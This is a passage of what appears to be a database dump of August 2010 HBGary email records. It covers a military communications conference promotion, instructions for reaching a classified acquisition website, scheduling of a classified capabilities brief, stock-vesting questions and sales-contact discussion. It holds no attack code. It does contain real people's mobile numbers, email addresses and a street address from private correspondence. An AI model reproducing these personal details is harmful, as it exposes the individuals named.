for Next-Generation Military Network Environment \r\n                 Cybersecurity Tutorial: Network Security and IA Testing \r\n                 Policy-Based Network Configuration Management for Mobile Ad Hoc Networks \r\n                 Disruption/Delay Tolerant Mobile Tactical Ad Hoc Networks: Overview and Challenges \r\n                 Tutorial on Quantum Communications and Quantum Information \r\n                  \r\n                \r\n                            \r\n              Classified Tutorials \r\n              \r\n                Advanced EHF Overview \r\n                 Space Environments, Effects, and Spacecraft Engineering \r\n                 Software Risk Assessment \r\n                \r\n                            \r\n              &nbsp;\r\n200 exhibits will be co-located in the San Jose Convention Center.&nbsp; See, touch and try out the latest communications technologies. To become an exhibitor contact milcom@jspargo.com\r\n\r\n  Special Events \r\n              Included in Full Conference Registration:\r\n              Evening at the Tech Museum of Innovation, Monday, November 1 \r\n                Technical Chairman\'s Awards Banquet, Tuesday, November 2 \r\n              \r\n              Separate Purchase Required :\r\n              \r\n                Golf Outing at Cinnabar Hills, Sunday, October 31 \r\n                Winchester Mystery House Flashlight Tour, Sunday, October 31 \r\n                 Guest Tour - San Francisco, Monday, November 1 \r\n                Guest Tour - Monterey and Carmel, Tuesday, November 2 \r\n              \r\n              &nbsp;\r\nSponsorship Opportunities are available!\r\nTo become a sponsor contact mcirrito@afcea.org\r\n&nbsp; \r\nRegister now! \r\n              We look forward to seeing you in San Jose.\r\n              &nbsp;\r\n              \r\n                \r\n                  Conference Co-Hosts\r\n                  \r\n                  \r\n                \r\n                \r\n                  &nbsp;\r\n                  &nbsp;\r\n                  &nbsp;\r\n                \r\n                \r\n                  Conference Co-Sponsors\r\n                  \r\n                  \r\n                \r\n              \r\n              \r\n      \r\n      \r\n      \r\n        This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n        \r\n        AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org/\r\n      \r\n        \r\n          \r\n      	    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16572,'aaron_hbgary_com/16572.html'),(11022,'2010-08-30','arc@westfields.net','/aaron@hbgary.com/new/1297008451.M68540P14101Q5875.eml','federal@hbgary.com','COMM / Excursion Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Excursion effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Excursion from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',9334,'aaron_hbgary_com/9334.html'),(11023,'2010-08-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008451.M779717P14101Q5878.eml','\"Barr Aaron\" <aaron@hbgary.com>','ARSTRAT','I forgot to mention...  ARSTRAT asked BAE if they can coordinate a classified HBGary capabilities brief.  Can you travel to CO soon? It sounds like they have a near-term project.\r\n \r\nTed\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',12952,'aaron_hbgary_com/12952.html'),(11024,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008452.M144872P14101Q5879.eml','\"Greg Hoglund\" <greg@hbgary.com>','Soon, You’ll Be Able to Play “Starcraft 2? from Your iPhone or iPad','Soon, You’ll Be Able to Play “Starcraft 2? from Your iPhone or iPad\r\n\r\n\r\nPlaying popular strategy game Starcraft 2 using an iPhone or even an iPad sounds like a usability nightmare, but developer Daniel Hellerman is planning to make it happen regardless of the potential issues.\r\nHellerman is working on an iOS application called the Starcraft 2 Gameboard that will let you fully control Starcraft 2 from your iPhone or iPad, complete with “mini-map control, detailed unit statistics, and easy touch access to the game’s most important hotkeys and macros,” he claims.\r\nBlizzard, the company that develops the popular Starcraft game franchise, is known for promptly shutting down third-party projects related to its games that don’t follow its terms of service to the letter. The future of the Starcraft 2 Gameboard therefore seems uncertain.\r\nHowever, the FAQ section of the application’s website claims that the system “does not modify essential Starcraft 2 functions” and that the device works “almost as another keyboard, therefore it is completely compatible with Starcraft 2.” Furthermore, the site claims the application is “not a hack” and “does not modify any game files whatsoever.”\r\nThe app should become available in September. What do you think: Will it be possible to play Starcraft 2 from your iPhone or iPad? Could such an application be useful or is it just a gimmick?[via Kotaku]\r\nMore About: apple, Blizzard, game, iOS, ipad, iphone, Mobile 2.0, starcraft 2\r\nFor more Apple coverage:Follow Mashable Apple on Twitter\r\nBecome a Fan on FacebookSubscribe to the Apple channelDownload our free apps for iPhone and iPad\r\n\r\n          \r\nSent from my iPad\r\n',12417,'aaron_hbgary_com/12417.html'),(11025,'2010-08-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008452.M385941P14101Q5880.eml','\"Maier, Raymond Joe (US SSA) (US ASTSS Huntsville)\" <raymond.maier@baesystems.com>,\"Maier, Raymond Joe (US SSA) (US ASTSS Huntsville)\" <raymond.maier@baesystems.com>','Classified Capabilities Brief','Hi Joe,I just spoke with Aaron (cc&#39;d).  He is planning to be in the Springs September 15-17th.  Would either the 15th or the 17th work for a classified capabilities brief?  If there is an immediate need he may be able to travel sooner - when would the customer like to meet?\r\nFeel free to coordinate directly with Aaron -- cell:  719-510-8478.Regards,Ted\r\n\r\n',15766,'aaron_hbgary_com/15766.html'),(11026,'2010-08-30','ted@hbgary.com','/aaron@hbgary.com/new/1297008452.M597306P14101Q5881.eml','aaron@hbgary.com','Penetration Test Report 082310.docx','\r\n\r\nI\'ve shared Penetration Test Report 082310.docx\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nPenetration Test Report 082310.docx\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',9408,'aaron_hbgary_com/9408.html'),(11027,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008452.M823637P14101Q5882.eml','\"Bob Slapnik\" <bob@hbgary.com>','CINDER Proposers Day','3601 Wilson Blvd, Apt 500, Arlington, VA 22201; System Planning CorporationSee you tomorrow.Aaron',3740,'aaron_hbgary_com/3740.html'),(11028,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008453.M292732P14101Q5884.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: NEED Your stock Paperwork TODAY','Sorry two questions.1. &nbsp;On the occasion of the company selling prior to our complete vesting can you put in a clause that the shares automatically vest. &nbsp;When we started I wasn\'t considering the company might go up for sale so quickly.2. &nbsp;130K share = 1%? &nbsp;Curious, When you are privately held how do you determine the total number of shares?AaronBegin forwarded message:From: \"DeeAnn Buonaccorsi\" &lt;deeann@hbgary.com&gt;Date: August 30, 2010 1:13:49 PM EDTTo: \"\'Ted Vera\'\" &lt;ted@hbgary.com&gt;, \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: NEED Your stock Paperwork TODAYHi Guys,&nbsp;I need your stock paperwork today.&nbsp; &nbsp;&nbsp;Penny had emailed you both info.&nbsp;Thanks&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 916-481-1460Email&nbsp;&nbsp;deeann@hbgary.com&nbsp;',4144,'aaron_hbgary_com/4144.html'),(11029,'2010-08-30','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008453.M42408P14101Q5883.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','NEED Your stock Paperwork TODAY','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n&nbsp;\r\n\r\nI need your stock paperwork today.&nbsp; &nbsp;&nbsp;Penny\r\nhad emailed you both info.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2365,'aaron_hbgary_com/2365.html'),(11030,'2010-08-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008453.M510165P14101Q5885.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NEED Your stock Paperwork TODAY','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe number of shares are determined by amount outstanding at\r\ntime of grant.&nbsp; So let&#8217;s say the the company has 1,000,000 shares given out,\r\n10,000 would be 1%.&nbsp; When you put together a pool of shares, but generally it&#8217;s\r\nlarger than you&#8217;d use so this is the way it&#8217;s determined.&nbsp; With regards to the\r\nvest on acquisition, I can put something in, but be aware that any company\r\npurchasing can change this and sometime do.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, August 30, 2010 10:28 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: NEED Your stock Paperwork TODAY\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSorry two questions.\r\n\r\n\r\n\r\n1. &nbsp;On the occasion of the company selling prior to our\r\ncomplete vesting can you put in a clause that the shares automatically vest.\r\n&nbsp;When we started I wasn\'t considering the company might go up for sale so\r\nquickly.\r\n\r\n\r\n\r\n\r\n\r\n2. &nbsp;130K share = 1%? &nbsp;Curious, When you are\r\nprivately held how do you determine the total number of shares?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;DeeAnn\r\nBuonaccorsi&quot; &lt;deeann@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nAugust\r\n30, 2010 1:13:49 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;\'Ted\r\nVera\'&quot; &lt;ted@hbgary.com&gt;,\r\n&quot;\'Aaron Barr\'&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nNEED Your stock Paperwork TODAY\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nGuys,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nneed your stock paperwork today.&nbsp; &nbsp;&nbsp;Penny had emailed you both\r\ninfo.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\n\r\n\r\n\r\n\r\nOffice Manager\r\n\r\n\r\n\r\n\r\n\r\nHBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\n\r\n\r\n\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\n\r\n\r\n\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\n\r\n\r\n\r\n\r\nFax: 916-481-1460\r\n\r\n\r\n\r\n\r\n\r\nEmail&nbsp;&nbsp;deeann@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6600,'aaron_hbgary_com/6600.html'),(11031,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008453.M718029P14101Q5886.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: NEED Your stock Paperwork TODAY','Sent from my iPhoneBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: August 30, 2010 1:33:09 PM EDTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: RE: NEED Your stock Paperwork TODAY\r\n\r\n\r\n\r\n\r\nThe number of shares are determined by amount outstanding at\r\ntime of grant.  So let’s say the the company has 1,000,000 shares given out,\r\n10,000 would be 1%.  When you put together a pool of shares, but generally it’s\r\nlarger than you’d use so this is the way it’s determined.  With regards to the\r\nvest on acquisition, I can put something in, but be aware that any company\r\npurchasing can change this and sometime do.  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, August 30, 2010 10:28 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: NEED Your stock Paperwork TODAY\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSorry two questions.\r\n\r\n\r\n\r\n1.  On the occasion of the company selling prior to our\r\ncomplete vesting can you put in a clause that the shares automatically vest.\r\n When we started I wasn&#39;t considering the company might go up for sale so\r\nquickly.\r\n\r\n\r\n\r\n\r\n\r\n2.  130K share = 1%?  Curious, When you are\r\nprivately held how do you determine the total number of shares?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;DeeAnn\r\nBuonaccorsi&quot; &lt;deeann@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nAugust\r\n30, 2010 1:13:49 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;&#39;Ted\r\nVera&#39;&quot; &lt;ted@hbgary.com&gt;,\r\n&quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nNEED Your stock Paperwork TODAY\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nGuys,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nneed your stock paperwork today.    Penny had emailed you both\r\ninfo.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\n\r\n\r\n\r\n\r\nOffice Manager\r\n\r\n\r\n\r\n\r\n\r\nHBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\n\r\n\r\n\r\n\r\nSacramento, CA  95864\r\n\r\n\r\n\r\n\r\n\r\nTel:  916-459-4727 ext. 101\r\n\r\n\r\n\r\n\r\n\r\nFax: 916-481-1460\r\n\r\n\r\n\r\n\r\n\r\nEmail  deeann@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5059,'aaron_hbgary_com/5059.html'),(11032,'2010-08-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008453.M934976P14101Q5887.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: CINDER Proposers Day','What time?\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 30, 2010 1:14 PM\r\nTo: Bob Slapnik\r\nSubject: CINDER Proposers Day\r\n\r\n3601 Wilson Blvd, Apt 500, Arlington, VA 22201; System Planning Corporation\r\n\r\nSee you tomorrow.\r\nAaron\r\n\r\n\r\n',15175,'aaron_hbgary_com/15175.html'),(11033,'2010-08-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008454.M182184P14101Q5888.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Northrop Grumman','Thanks Bob,Aaron and I would appreciate an introduction, it couldn&#39;t hurt.Thanks,TedOn Sun, Aug 29, 2010 at 12:19 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n \r\n\r\nMITRE is another group I didn’t\r\ncooperate with.  Let me know if you want contact info to follow up with them.\r\n\r\n \r\n\r\n(Basically, I am saying there is\r\nno cheese for me in these accounts, but I will turn the contacts over to you if\r\nyou wish to explore them and be the good cop if you want to.)\r\n\r\n \r\n\r\n\r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Sunday, August 29, 2010 1:47 PM\r\nTo: &#39;Ted Vera&#39;; &#39;Aaron Barr&#39;\r\nSubject: Northrop Grumman\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron and Ted,\r\n\r\n \r\n\r\nTwo things……..\r\n\r\n \r\n\r\nIt bugs me that I have zero sales traction at NG.  Bill\r\nRussell is a name that has come up as running NG internal SOC and security\r\noperations.  Can you line up a meeting with him where we can show him\r\nActive Defense? Surely NG is being targeted like every other gov’t contractor.\r\n\r\n \r\n\r\nI told you that I refused to cooperate with two NG IRAD\r\ngroups headed by Cal Smith and Sean Tulles.  They are working longer term\r\nIRADs that would not generate product revenue for a long time, and none of\r\ntheir IRAD dollars now.  They said all they needed was the AD software and\r\nno tech help or development help from HBGary.  I did not believe it\r\nbecause I can’t image integrating our s/w without tech help.  And since\r\nthey wouldn’t put up money I turned them down.\r\n\r\n \r\n\r\nClearly, this was the best action for ME because I get\r\njudged and rewarded based on revenue I bring in the current year.  1-2\r\nyears out just doesn’t matter to me.\r\n\r\n \r\n\r\nBUT, I was wondering if these relationships might matter to\r\nHBGary Federal.  If they matter to you, then I leave open the possibility\r\nthat you could re-open the relationship and be the “good cop”.  Maybe they\r\ncould actual make good progress just having a demo version of AD without any\r\ntech help.  It is your call……..\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',13757,'aaron_hbgary_com/13757.html'),(11034,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008454.M379342P14101Q5889.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: CINDER Proposers Day','0800\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 30, 2010, at 1:50 PM, \"Bob Slapnik\"  wrote:\r\n\r\n> What time?\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, August 30, 2010 1:14 PM\r\n> To: Bob Slapnik\r\n> Subject: CINDER Proposers Day\r\n>\r\n> 3601 Wilson Blvd, Apt 500, Arlington, VA 22201; System Planning Corporation\r\n>\r\n> See you tomorrow.\r\n> Aaron\r\n>\r\n>\r\n',3061,'aaron_hbgary_com/3061.html'),(11035,'2010-08-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008454.M578272P14101Q5890.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Northrop Grumman','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAndrew Hunt / ahunt@mitre.org\r\n/ 703-855-7497 / mobile (703) 983-2401\r\n\r\n&nbsp;\r\n\r\nDan Gottovi / MITRE / (781) 271-2000\r\n\r\n&nbsp;\r\n\r\nDon&#8217;t think an invitation from me would carry much weight.&nbsp; I\r\nrecommend you contact them yourselves.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, August 30, 2010 1:53 PM\r\nTo: Bob Slapnik\r\nCc: Aaron Barr\r\nSubject: Re: Northrop Grumman\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Bob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron and I would appreciate an introduction, it 